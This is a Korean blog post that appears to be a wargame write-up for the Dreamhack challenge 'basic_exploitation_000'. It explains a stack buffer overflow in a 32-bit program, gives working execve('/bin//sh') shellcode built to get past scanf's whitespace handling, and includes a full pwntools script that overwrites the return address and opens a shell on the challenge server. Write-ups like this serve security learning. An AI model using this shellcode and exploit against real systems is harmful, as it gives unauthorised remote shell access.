Wargame - 시스템

basic_exploitation_000

김가윤 2023. 3. 31. 19:44

 

풀이

 

 

검색을 해보니

메모리 보호 기법에 관한 내용인데

 

아무런 보호 기법도

적용되고 있지 않다는

사실을 알 수 있다.

 

이 사실을 바탕으로

소스 코드를 분석해 보자

 

main 함수 내부를 보면

buf의 크기는 0x80(128 바이트)이지만

scanf 함수를 통해서

141 바이트까지 입력을 받기 때문에

버퍼 오버플로우(BOF)가

발생할 수 있다는 것을 알 수 있다.

 

gdb를 이용해

어셈블리어를 분석해 보자

 

main 함수에 bp를 걸고 진행

 

main+3과 main+11 부분을 통해

lea로 buf 배열의 주소(ebp-0x80)를 가져와

ebp에 저장하하는 것을 알 수 있고

 

이를 통해

사용자의 입력이

ebp-0x80부터 저장되는 것을 알 수 있고

 

또한,

32bit 바이너리의 경우

buffer + SFP(4 바이트) + ret의 형태로 구성되기 때문에

ret 까지의 거리를 알 수 있다.

( (ebp-0x80)+4byte )

 

결과적으로

buf(0x80) + SFP(4byte)를

shell code +  쓰레기 값으로 채운 후

ret 부분을 buf 주소로 조작해

eip가 buf를 가르키게 하고

shell code를 실행해 shell을 얻으면 된다.

 

shell code를 작성하 기전

몇 가지 주의해야 할 사항이 있다.

  • 32bit는 64bit와 달리 인자 전달 시 ebx, ecx, edx에 각각 1, 2, 3번째 인자를 넣는다.
  • 64bit는 rdi, rsi, rdx, rcx, r8, r9순으로 인자를 각각 넣는다.
  • scnaf 함수는 공백 문자(띄어쓰기 한 칸, 개행 문자, 탭 문자 등)를 만나면 입력을 종료한다.
  • 32비트 execve 시스템 콜은 eax에 0xb를 넣어야 한다.

 

shell code를 작성하기 전

메모리 구조를 한 번 더 확인해 보자

 

main+51 (ret)에 bp를 걸고

"A" 136개를 전송한 후

ret에 bp가 걸리면

esp를 확인해 본다.

 

예상대로

0x41414141 = "AAAA"가 출려된다.

이렇게 메모리를 조작해 주면 된다.

 

shell code

x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x31\xc9\x31\xd2\xb0\x08\xfe\xc0\xfe\xc0\xfe\xc0\xcd\x80
from pwn import *

r = remote("host2.dreamhack.games", 14759)

r.recvuntil(b"buf = (")
buf_addr = int(r.recv(10), 16)

payload = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x31\xc9\x31\xd2\xb0\x08\xfe\xc0\xfe\xc0\xfe\xc0\xcd\x80"
payload += b"\x80"*101
payload += p32(buf_addr)

r.send(payload)
r.interactive()

 

 

shell code를 짜면서

레지스터 별 차이를

한 번더 공부할 수 있었다.

  • 8bit register: AH, AL => H(High), L(Low) 접미사가 붙는다.
  • 16bit register: AX => AH와 AL이 합쳐졌다.
  • 32bit register: EAX => AX가 확장되어 E(Extend) 접두사가 붙었다.
  • 64bit register: RAX => 접두사 E가 R로 변경되었다.

 

중요한 점은

위 레지스터를 이용할 때이다.

 

만약 EAX에

단순히 0x8 (1byte)를 넣으면

나머지 3byte는 0x00으로 채워진다.

 

위 shell code를 짤 때

execve의 syscall number인 0xb를

EAX에 넣는 게 아니라

AL을 통해 넣어줘야 한다.

 

결과적으로,

scanf 함수는

공백 문자(띄어쓰기 한 칸, 개행 문자, 탭 문자 등)를 만나면

입력을 종료하기 때문에

0xb가 아닌 0x8에

세 번의 inc를 통해 0xb를 만들어주고

EAX가 아닌 AL을 이용했다.

'Wargame - 시스템' 카테고리의 다른 글

basic_rop_x64  (0) 2023.05.24
ssp_001  (0) 2023.05.06
Return to Shellcode  (0) 2023.05.03
basic_exploitation_001  (0) 2023.04.04
shell_basic  (0) 2023.03.23